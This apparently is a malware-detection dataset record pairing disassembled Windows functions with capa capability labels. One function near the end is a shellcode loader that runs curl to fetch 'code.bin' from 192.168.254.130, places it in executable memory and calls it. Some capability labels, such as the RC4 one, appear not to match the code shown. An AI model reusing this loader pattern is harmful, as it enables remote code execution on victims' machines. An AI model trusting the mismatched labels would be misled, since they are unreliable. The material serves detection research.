joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140138cb0
Capabilities:
Get common file path

Disassembly:
push rbx
push rbp
push rdi
sub rsp, 0x20
mov rbx, rcx
xor ebp, ebp
lea rcx, str.kernel32
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rdi, rax
test rax, rax
jne 0x140138cda
add rsp, 0x20
pop rdi
pop rbp
pop rbx
ret
lea rdx, [0x140255580]
mov qword [rsp + 0x48], r14
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [0x140255590]
mov rcx, rbx
mov r14, rax
call fcn.140177648
test rax, rax
je 0x140138d43
mov rcx, rbx
test r14, r14
je 0x140138d2d
xor edx, edx
mov rax, r14
lea r8d, [rdx + 8]
call qword [case.0x1401289aa.0]
mov r14, qword [rsp + 0x48]
mov rbp, rax
add rsp, 0x20
pop rdi
pop rbp
pop rbx
ret
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov r14, qword [rsp + 0x48]
mov rbp, rax
add rsp, 0x20
pop rdi
pop rbp
pop rbx
ret
test r14, r14
je 0x140138d81
lea rdx, str.AddDllDirectory
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140138d81
xor edx, edx
mov r8d, 0x800
mov rcx, rbx
mov rax, r14
call qword [case.0x1401289aa.0]
mov r14, qword [rsp + 0x48]
mov rbp, rax
add rsp, 0x20
pop rdi
pop rbp
pop rbx
ret
xor edx, edx
mov qword [rsp + 0x50], r15
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov r15d, eax
test eax, eax
je 0x140138e67
mov rdi, 0xffffffffffffffff
mov qword [rsp + 0x40], rsi
mov rdx, rdi
nop word [rax + rax]
inc rdx
cmp word [rbx + rdx*2], bp
jne 0x140138db0
lea ecx, [rax + 1]
mov rax, qword [fcn.14016d320]
add rcx, rdx
add rcx, rcx
call qword [case.0x1401289aa.0]
mov rsi, rax
test rax, rax
je 0x140138e52
mov edx, r15d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x140138e52
mov rax, rdi
nop word [rax + rax]
cmp word [rsi + rax*2 + 2], bp
lea rax, [rax + 1]
jne 0x140138df0
mov dword [rsi + rax*2], 0x5c
cmp word [rsi + rdi*2 + 2], bp
lea rdi, [rdi + 1]
jne 0x140138e02
lea rcx, [rdi + rdi]
sub rcx, rbx
add rcx, rsi
nop word [rax + rax]
movzx eax, word [rbx]
mov word [rcx + rbx], ax
lea rbx, [rbx + 2]
test ax, ax
jne 0x140138e20
mov rcx, rsi
test r14, r14
je 0x140138e49
xor edx, edx
mov rax, r14
lea r8d, [rdx + 8]
call qword [case.0x1401289aa.0]
jmp 0x140138e4f
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rbp, rax
mov rax, qword [fcn.140165910]
mov rcx, rsi
call qword [case.0x1401289aa.0]
mov rsi, qword [rsp + 0x40]
mov r15, qword [rsp + 0x50]
mov rax, rbp
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
pop rbp
pop rbx
ret
Function at 0x14013e000
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
mov rax, qword [fcn.140166030]
mov r14, rcx
mov ebx, 1
xor ecx, ecx
mov edx, ebx
xor ebp, ebp
call qword [case.0x1401289aa.0]
mov rdi, rax
test rax, rax
je 0x14013dfc4
nop dword [rax]
mov r8d, ebx
mov rdx, rdi
mov rcx, r14
mov rbp, rdi
mov esi, ebx
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov ebx, eax
test eax, eax
je 0x14013dff6
cmp ebx, esi
je 0x14013dff6
cmp ebx, 0x8000
ja 0x14013dff6
cmp ebx, esi
jb 0x14013dff1
mov rax, qword [fcn.140166030]
mov edx, ebx
mov rcx, rdi
call qword [case.0x1401289aa.0]
mov rdi, rax
test rax, rax
jne 0x14013df80
mov rcx, rbp
mov rax, qword [fcn.140165910]
call qword [case.0x1401289aa.0]
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
mov rax, rdi
jmp 0x14013dfd6
mov rcx, rdi
jmp 0x14013dfc7
jmp 0x14013df40
Function at 0x140145e50
Capabilities:
Connect socket
Get local ipv4 addresses
Get socket information
Receive data
Receive data on socket
Send data
Send data on socket
Set socket configuration

Disassembly:
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x70
mov rax, qword [0x1403749c0]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov edx, 1
mov dword [rsp + 0x34], reloc.WS2_32.dll_recv
mov ebp, 2
mov dword [rsp + 0x30], 1
mov ecx, ebp
mov rsi, r9
lea r8d, [rdx + 5]
call qword [sym.imp.WS2_32.dll_socket]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140145ea5
jmp 0x140146054
mov qword [rsp + 0x80], rbx
mov ecx, 0x7f000001
xor ebx, ebx
mov word [rsp + 0x38], bp
mov qword [rsp + 0x40], rbx
call qword [sym.imp.WS2_32.dll_htonl]
lea r9, [rsp + 0x30]
mov word [rsp + 0x3a], bx
mov edx, 0xffff
mov dword [rsp + 0x3c], eax
lea r8d, [rbx + 4]
mov qword [rsi + 8], 0xffffffffffffffff
mov rcx, rdi
mov qword [rsi], 0xffffffffffffffff
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
cmp eax, 0xffffffff
je 0x14014602b
lea r8d, [rbx + 0x10]
mov rcx, rdi
lea rdx, [rsp + 0x38]
call qword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
je 0x14014602b
lea r8, [rsp + 0x34]
mov rcx, rdi
lea rdx, [rsp + 0x38]
call qword [sym.imp.WS2_32.dll_getsockname]
cmp eax, 0xffffffff
je 0x14014602b
lea edx, [rbx + 1]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
je 0x14014602b
xor r8d, r8d
lea edx, [rbx + 1]
mov ecx, ebp
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rsi], rax
cmp rax, 0xffffffffffffffff
je 0x14014602b
lea r8d, [rbx + 0x10]
mov rcx, rax
lea rdx, [rsp + 0x38]
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x14014602b
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_accept]
mov qword [rsi + 8], rax
cmp rax, 0xffffffffffffffff
je 0x14014602b
mov r9, rsi
lea r8, [0x140240c14]
lea edx, [rbx + 0xc]
lea rcx, [rsp + 0x48]
call fcn.140139290
lea rax, [rsp + 0x48]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], 0
jne 0x140145fc5
mov rcx, qword [rsi]
lea rdx, [rsp + 0x48]
xor r9d, r9d
mov r8d, ebx
call qword [sym.imp.WS2_32.dll_send]
movsxd rcx, eax
cmp rcx, rbx
jne 0x14014602b
mov rcx, qword [rsi + 8]
lea rdx, [rsp + 0x54]
xor r9d, r9d
lea r8d, [r9 + 0xc]
call qword [sym.imp.WS2_32.dll_recv]
movsxd rcx, eax
cmp rcx, rbx
jne 0x14014602b
mov r8, rbx
lea rdx, [rsp + 0x54]
lea rcx, [rsp + 0x48]
call fcn.14015b690
test eax, eax
jne 0x14014602b
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x14014604c
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
mov rcx, qword [rsi]
call qword [sym.imp.WS2_32.dll_closesocket]
mov rcx, qword [rsi + 8]
call qword [sym.imp.WS2_32.dll_closesocket]
mov eax, 0xffffffff
mov rbx, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140158fa0
lea r11, [rsp + 0x70]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x14014b710
Capabilities:
Resolve dns

Disassembly:
push rsi
push r12
push r13
push r14
push r15
sub rsp, 0x20
xor r13d, r13d
mov r12, r9
mov qword [r9], r13
mov esi, r13d
lea r9, [rsp + 0x68]
mov r15d, r13d
call qword [sym.imp.WS2_32.dll_getaddrinfo]
mov r14d, eax
test eax, eax
jne 0x14014b8c8
mov qword [rsp + 0x50], rbx
mov rbx, qword [rsp + 0x68]
test rbx, rbx
je 0x14014b8ad
mov qword [rsp + 0x58], rbp
mov qword [rsp + 0x60], rdi
mov eax, dword [rbx + 4]
cmp eax, 2
jne 0x14014b76d
lea ebp, [rax + 0xe]
jmp 0x14014b779
cmp eax, 0x17
jne 0x14014b836
lea ebp, [rax + 5]
cmp qword [rbx + 0x20], r13
je 0x14014b836
mov rax, qword [rbx + 0x10]
test rax, rax
je 0x14014b836
cmp rax, rbp
jb 0x14014b836
mov rax, qword [fcn.14016d320]
mov ecx, 0x30
call qword [case.0x1401289aa.0]
mov rdi, rax
test rax, rax
je 0x14014b876
mov ecx, dword [rbx]
mov dword [rax], ecx
mov ecx, dword [rbx + 4]
mov dword [rax + 4], ecx
mov ecx, dword [rbx + 8]
mov dword [rax + 8], ecx
mov ecx, dword [rbx + 0xc]
mov dword [rax + 0xc], ecx
mov rcx, rbp
mov dword [rax + 0x10], ebp
mov qword [rax + 0x20], r13
mov qword [rax + 0x18], r13
mov qword [rax + 0x28], r13
mov rax, qword [fcn.14016d320]
call qword [case.0x1401289aa.0]
mov qword [rdi + 0x20], rax
test rax, rax
je 0x14014b86e
mov rdx, qword [rbx + 0x20]
mov r8, rbp
mov rcx, rax
call fcn.14015b790
mov rcx, qword [rbx + 0x18]
test rcx, rcx
je 0x14014b823
mov rax, qword [0x1403748d0]
call qword [case.0x1401289aa.0]
mov qword [rdi + 0x18], rax
test rax, rax
je 0x14014b845
test rsi, rsi
cmove rsi, rdi
test r15, r15
je 0x14014b833
mov qword [r15 + 0x28], rdi
mov r15, rdi
mov rbx, qword [rbx + 0x28]
test rbx, rbx
jne 0x14014b760
jmp 0x14014b87c
mov rcx, qword [rdi + 0x20]
mov r14d, 8
mov rax, qword [fcn.140165910]
call qword [case.0x1401289aa.0]
mov rax, qword [fcn.140165910]
mov rcx, rdi
call qword [case.0x1401289aa.0]
jmp 0x14014b87c
mov r14d, 8
jmp 0x14014b85c
mov r14d, 8
mov rcx, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x58]
test rcx, rcx
je 0x14014b896
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
test r14d, r14d
je 0x14014b8a8
mov rcx, rsi
call fcn.14014b6b0
mov rsi, r13
jmp 0x14014b8bc
test rsi, rsi
jne 0x14014b8bc
mov r14d, 0x2af9
mov ecx, r14d
call qword [sym.imp.WS2_32.dll_WSASetLastError]
mov rbx, qword [rsp + 0x50]
mov eax, r14d
mov qword [r12], rsi
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rsi
ret
Function at 0x14018235c
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
mov rbx, rcx
mov ebp, 0x7ff
movzx ecx, word [rcx + 6]
mov esi, edx
shr cx, 4
and cx, bp
cmp cx, bp
jne 0x1401823bd
test byte [rbx + 6], 0xf
jne 0x1401823b0
xor edi, edi
cmp word [rbx + 4], di
jne 0x1401823b0
cmp word [rbx + 2], di
jne 0x1401823b0
cmp word [rbx], di
jne 0x1401823b0
lea esi, [rdi + 1]
jmp 0x1401823b5
mov esi, 2
movzx eax, si
jmp 0x1401825ba
xor edi, edi
test cx, cx
jne 0x1401823d8
mov rcx, rbx
call fcn.14018d2b8
movzx ecx, ax
cmp di, ax
jl 0x1401825b7
movsx edx, cx
test esi, esi
jle 0x140182408
sub ebp, edx
cmp ebp, esi
jg 0x140182408
movsd xmm0, qword [0x14026e198]
cmp word [rbx + 6], di
jge 0x1401823fa
xorps xmm0, xmmword [0x140221320]
movsd qword [rbx], xmm0
mov eax, 1
jmp 0x1401825ba
movzx r11d, word [rbx + 6]
mov eax, edx
neg eax
cmp eax, esi
jge 0x140182435
add si, cx
mov eax, 0x800f
shl si, 4
and r11w, ax
or si, r11w
mov word [rbx + 6], si
or eax, 0xffffffff
jmp 0x1401825ba
movzx r15d, r11w
lea ebp, [rsi - 1]
and r11w, 0xf
mov r13d, 0x8000
mov r12d, reloc.WS2_32.dll_recv
and r15w, r13w
or r11w, r12w
add ebp, edx
cmp ebp, 0xffffffcb
jl 0x1401825ac
test ebp, ebp
jns 0x1401825ac
lea esi, [r12 - 0xf]
movzx r14d, di
cmp bp, 0xfff0
jg 0x1401824d0
movzx ecx, word [rbx + 4]
mov eax, 0xfff0
movzx edx, word [rbx + 2]
sub ax, bp
shr ax, 4
movzx r9d, r11w
add ax, si
movzx r8d, ax
movzx eax, r8w
shl ax, 4
add bp, ax
test r14w, r14w
mov eax, edi
setne al
movzx r14d, ax
or r14w, word [rbx]
mov word [rbx], dx
movzx edx, cx
movzx ecx, r9w
mov r9d, edi
sub r8, rsi
jne 0x1401824a1
mov word [rbx + 4], cx
movzx r11d, di
mov word [rbx + 2], dx
neg bp
je 0x14018254f
movzx r8d, word [rbx]
mov eax, edi
movzx r9d, word [rbx + 2]
movzx edx, r8w
movsx r10d, bp
sub r12d, r10d
mov ecx, r12d
shl dx, cl
test r14w, r14w
movzx r14d, dx
movzx edx, word [rbx + 4]
setne al
or r14w, ax
movzx eax, r9w
shl ax, cl
movzx ecx, bp
shr r8w, cl
mov ecx, r12d
or ax, r8w
mov word [rbx], ax
movzx eax, dx
shl ax, cl
movzx ecx, bp
shr r9w, cl
mov ecx, r12d
or ax, r9w
mov word [rbx + 2], ax
movzx eax, r11w
shl ax, cl
movzx ecx, bp
shr dx, cl
mov ecx, r10d
or ax, dx
mov word [rbx + 4], ax
shr r11w, cl
or r11w, r15w
mov word [rbx + 6], r11w
cmp r13w, r14w
jb 0x140182565
jne 0x140182584
test byte [rbx], sil
je 0x140182584
add word [rbx], si
jne 0x140182584
add word [rbx + 2], si
jne 0x140182584
add word [rbx + 4], si
jne 0x140182584
add r11w, si
mov word [rbx + 6], r11w
jmp 0x14018242d
cmp r11w, r15w
jne 0x14018242d
cmp word [rbx + 4], di
jne 0x14018242d
cmp word [rbx + 2], di
jne 0x14018242d
cmp word [rbx], di
je 0x1401825b7
jmp 0x14018242d
mov word [rbx + 6], r15w
mov dword [rbx + 2], edi
mov word [rbx], di
movzx eax, di
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x14018b524
Capabilities:
Delete file

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x14018b544
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.1401649e4
or eax, 0xffffffff
jmp 0x14018b546
xor eax, eax
add rsp, 0x28
ret
Function at 0x1401b45d0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x20], r9d
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov ebp, dword [rsp + 0xa0]
mov r14d, 1
mov esi, r14d
mov ebx, r9d
mov r15d, r8d
mov r12, rdx
mov rdi, rcx
mov eax, 0x5a0000
cmp ebp, eax
jg 0x1401b4620
mov ecx, ebp
neg ecx
cmp ecx, eax
jle 0x1401b4629
inc esi
add eax, 0x5a0000
jmp 0x1401b4614
lea ecx, [rsi*4]
mov eax, ebp
cdq
idiv ecx
mov ecx, eax
call fcn.1401acb30
mov r13d, eax
lea rcx, [rsp + 0x28]
mov eax, 0x55555556
mov r8d, ebx
imul r13d
mov eax, edx
shr eax, 0x1f
add edx, eax
add r13d, edx
mov edx, r15d
call fcn.1401acc00
mov ecx, dword [rsp + 0x2c]
mov edx, r13d
neg ecx
call fcn.1401a9530
mov ecx, dword [rsp + 0x28]
mov edx, r13d
mov ebx, eax
call fcn.1401a9530
mov ecx, dword [rsp + 0x28]
mov edx, eax
add ecx, dword [r12]
mov eax, dword [rsp + 0x2c]
add ebx, ecx
add eax, dword [r12 + 4]
add edx, eax
mov dword [rsp + 0x28], ecx
mov dword [rsp + 0x2c], eax
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x34], edx
cmp esi, r14d
jl 0x1401b47a2
mov r15d, ebp
mov eax, r15d
lea rcx, [rsp + 0x20]
cdq
idiv esi
mov edx, dword [rsp + 0x90]
add eax, dword [rsp + 0x98]
mov r8d, eax
call fcn.1401acc00
mov ecx, dword [rsp + 0x24]
mov edx, r13d
call fcn.1401a9530
mov ecx, dword [rsp + 0x20]
mov edx, r13d
neg ecx
mov ebx, eax
call fcn.1401a9530
mov ecx, dword [rsp + 0x20]
mov edx, eax
add ecx, dword [r12]
mov eax, dword [rsp + 0x24]
add ebx, ecx
add eax, dword [r12 + 4]
mov dword [rsp + 0x20], ecx
mov rcx, rdi
mov dword [rsp + 0x24], eax
mov dword [rsp + 0x38], ebx
lea r12d, [rax + rdx]
mov edx, 3
mov dword [rsp + 0x3c], r12d
call fcn.1401b48c0
mov r9d, eax
test eax, eax
jne 0x1401b479c
mov ecx, dword [rdi]
inc r14d
mov rax, qword [rdi + 8]
add r15d, ebp
mov r8, qword [rdi + 0x10]
lea rdx, [rax + rcx*8]
mov rax, qword [rsp + 0x30]
mov qword [rdx], rax
mov rax, qword [rsp + 0x38]
mov qword [rdx + 8], rax
mov rax, qword [rsp + 0x20]
mov qword [rdx + 0x10], rax
mov word [r8 + rcx], 0x202
mov byte [r8 + rcx + 2], 1
mov eax, dword [rsp + 0x20]
add dword [rdi], 3
add eax, eax
sub eax, ebx
mov byte [rdi + 0x18], r9b
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x24]
add eax, eax
sub eax, r12d
mov r12, qword [rsp + 0x88]
mov dword [rsp + 0x34], eax
cmp r14d, esi
jle 0x1401b46b0
mov eax, r9d
jmp 0x1401b47a4
mov byte [rdi + 0x18], 0
jmp 0x1401b47a4
xor eax, eax
mov rbx, qword [rsp + 0x80]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x1401b52c0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
sub rsp, 0x20
mov ebp, r8d
mov esi, edx
lea r8d, [rdx + 0x5a0000]
mov rdi, rcx
mov edx, dword [rcx + 0x3c]
lea rcx, [rsp + 0x58]
call fcn.1401acc00
mov r9d, dword [rdi + 8]
add r9d, dword [rsp + 0x58]
mov edx, dword [rsp + 0x5c]
add edx, dword [rdi + 0xc]
mov r8d, dword [rdi + 0x5c]
mov dword [rsp + 0x40], r9d
mov dword [rsp + 0x44], edx
test r8d, r8d
js 0x1401b5352
mov r9d, dword [rdi + 0x40]
lea eax, [r8 + 1]
cmp r9d, eax
ja 0x1401b531d
mov dword [rdi + 0x40], r8d
jmp 0x1401b5352
mov rcx, qword [rdi + 0x48]
dec r9d
mov dword [rdi + 0x40], r9d
mov rax, qword [rcx + r9*8]
mov qword [rcx + r8*8], rax
mov rcx, qword [rdi + 0x50]
movzx eax, byte [rcx + r9]
mov byte [rcx + r8], al
lea ecx, [r9 - 1]
mov rax, qword [rdi + 0x50]
or byte [r8 + rax], 4
mov rax, qword [rdi + 0x50]
or byte [rcx + rax], 8
mov eax, dword [rdi + 0x40]
lea rcx, [rdi + 0x40]
mov edx, 1
mov dword [rdi + 0x5c], eax
mov byte [rdi + 0x58], 0
call fcn.1401b48c0
test eax, eax
jne 0x1401b5466
mov r8d, dword [rdi + 0x40]
mov rax, qword [rsp + 0x40]
mov rcx, qword [rdi + 0x48]
mov rdx, qword [rdi + 0x50]
mov qword [rcx + r8*8], rax
mov byte [rdx + r8], 1
inc dword [rdi + 0x40]
mov byte [rdi + 0x58], 0
mov eax, dword [rdi + 8]
sub eax, dword [rsp + 0x58]
mov r8d, dword [rdi + 0x8c]
mov dword [rsp + 0x40], eax
mov eax, dword [rdi + 0xc]
sub eax, dword [rsp + 0x5c]
mov dword [rsp + 0x44], eax
test r8d, r8d
js 0x1401b5406
mov r9d, dword [rdi + 0x70]
lea eax, [r8 + 1]
cmp r9d, eax
ja 0x1401b53c8
mov dword [rdi + 0x70], r8d
jmp 0x1401b5406
mov rcx, qword [rdi + 0x78]
dec r9d
mov dword [rdi + 0x70], r9d
mov rax, qword [rcx + r9*8]
mov qword [rcx + r8*8], rax
mov rcx, qword [rdi + 0x80]
movzx eax, byte [rcx + r9]
mov byte [rcx + r8], al
lea ecx, [r9 - 1]
mov rax, qword [rdi + 0x80]
or byte [r8 + rax], 4
mov rax, qword [rdi + 0x80]
or byte [rcx + rax], 8
mov eax, dword [rdi + 0x70]
lea rcx, [rdi + 0x70]
mov edx, 1
mov dword [rdi + 0x8c], eax
mov byte [rdi + 0x88], 0
call fcn.1401b48c0
test eax, eax
jne 0x1401b5448
mov r9d, dword [rdi + 0x70]
mov rdx, qword [rdi + 0x78]
mov r8, qword [rdi + 0x80]
mov rcx, qword [rsp + 0x40]
mov qword [rdx + r9*8], rcx
mov byte [r8 + r9], 1
inc dword [rdi + 0x70]
mov byte [rdi + 0x88], 0
mov dword [rdi + 0x18], esi
mov byte [rdi + 0x14], 0
mov dword [rdi + 0x24], ebp
mov rbx, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
pop rsi
pop rbp
ret
mov byte [rdi + 0x58], 0
mov rbx, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
pop rsi
pop rbp
ret
Function at 0x140bd9c08
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.140bd9d8f
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140bd9c39
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140bd9c1f
add dl, dl
jne 0x140bd9c46
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140bd9ca6
xor eax, eax
add dl, dl
jne 0x140bd9c55
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140bd9d5d
add dl, dl
jne 0x140bd9c66
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140bd9c73
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140bd9c80
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140bd9c8d
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140bd9c9a
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140bd9c2e
mov eax, 1
add dl, dl
jne 0x140bd9cb6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140bd9cc3
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140bd9cab
sub eax, ebx
mov ebx, 1
jne 0x140bd9cfc
mov ecx, 1
add dl, dl
jne 0x140bd9cde
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140bd9ceb
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140bd9cd3
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140bd9c2e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140bd9d18
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140bd9d25
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140bd9d0d
cmp eax, 0x7d00
jae 0x140bd9d4b
cmp eax, 0x500
jb 0x140bd9d46
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140bd9c2e
cmp eax, 0x7f
ja 0x140bd9d4e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140bd9c2e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140bd9d82
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140bd9c2e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x180006643
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x218
xor ebx, ebx
movsxd rax, dword [rcx + 0x3c]
mov eax, dword [rcx + rax + 0x88]
mov r11, rsp
lea r10, [r11 + 0x208]
add rax, rcx
mov r9d, dword [rax + 0x20]
mov edi, dword [rax + 0x1c]
mov ebp, dword [rax + 0x24]
lea rsi, [rcx + r9]
nop dword [rax + rax]
mov r14d, dword [rsi + rbx*4]
mov rax, r11
add r14, rcx
nop word [rax + rax]
mov byte [rax], 0
add rax, 1
cmp rax, r10
jne 0x180006693
movsx r15w, byte [r14]
test r15b, r15b
je 0x180006763
xor r12d, r12d
jmp 0x1800066b6
mov r12d, r13d
lea r13d, [r12 + 1]
lea rax, [r14 + r13]
mov r9, r13
cmp byte [rax], 0
jne 0x1800066b3
test r9d, r9d
je 0x1800066ef
lea r9, [r11 + r13*2]
lea r13, [r14 + r13 - 1]
sub r13, r12
movsx r12w, byte [rax]
sub rax, 1
sub r9, 2
mov word [r9 + 2], r12w
cmp r13, rax
jne 0x1800066d8
mov word [rsp], r15w
xor r12d, r12d
jmp 0x180006706
mov r12d, r9d
lea r9d, [r12 + 1]
cmp word [rsp + r9*2], 0
mov rax, r9
jne 0x180006703
test eax, eax
je 0x180006799
lea r9, [r11 + 2]
mov r14d, dword [r8 + 0xe0]
mov r13, r11
xor eax, eax
lea r12, [r9 + r12*2]
jmp 0x180006737
add r9, 2
movzx r13d, word [r13]
imul eax, r14d
add eax, r13d
cmp r9, r12
mov r13, r9
jne 0x180006733
lea r9, [rbx + 1]
cmp edx, eax
je 0x180006773
mov rbx, r9
jmp 0x180006683
lea r9, [rbx + 1]
xor eax, eax
mov word [rsp], ax
xor eax, eax
cmp edx, eax
jne 0x180006753
lea rax, [rcx + rbx*2]
movzx eax, word [rax + rbp]
lea rax, [rcx + rax*4]
mov eax, dword [rax + rdi]
add rax, rcx
add rsp, 0x218
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
xor eax, eax
jmp 0x18000674b
Function at 0x180074a80
Capabilities:
Delete file

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x180074aa0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.1800630d0
or eax, 0xffffffff
jmp 0x180074aa2
xor eax, eax
add rsp, 0x28
ret

Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read file on windows
Terminate process

Disassembly:
push rdi
sub rsp, 0x30
mov rax, qword [0x140004008]
xor rax, rsp
mov qword [rsp + 0x28], rax
lea rdx, [0x1400022a8]
mov byte [rsp + 0x20], 0
lea rcx, str.curl_http:__192.168.254.130_code.bin
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__popen]
mov rdi, rax
test rax, rax
jne 0x1400010bd
lea rcx, str.popen___failed.
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_perror]
lea ecx, [rdi + 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov edx, 1
lea rcx, [rsp + 0x20]
mov r8d, edx
mov r9, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
test rax, rax
je 0x140001129
mov qword [rsp + 0x40], rbx
lea rbx, [0x140004640]
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [rsp + 0x20]
lea rcx, [0x1400022c0]
mov edx, eax
mov byte [rbx], al
call fcn.140001010
mov edx, 1
lea rcx, [rsp + 0x20]
mov r8d, edx
lea rbx, [rbx + 1]
mov r9, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
test rax, rax
jne 0x1400010f0
mov rbx, qword [rsp + 0x40]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__pclose]
xor ecx, ecx
mov edx, 0x1cc
mov r8d, 0x1000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
xor eax, eax
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140001170
add rsp, 0x30
pop rdi
ret

Function at 0x140001a44
Capabilities:
Parse pe header

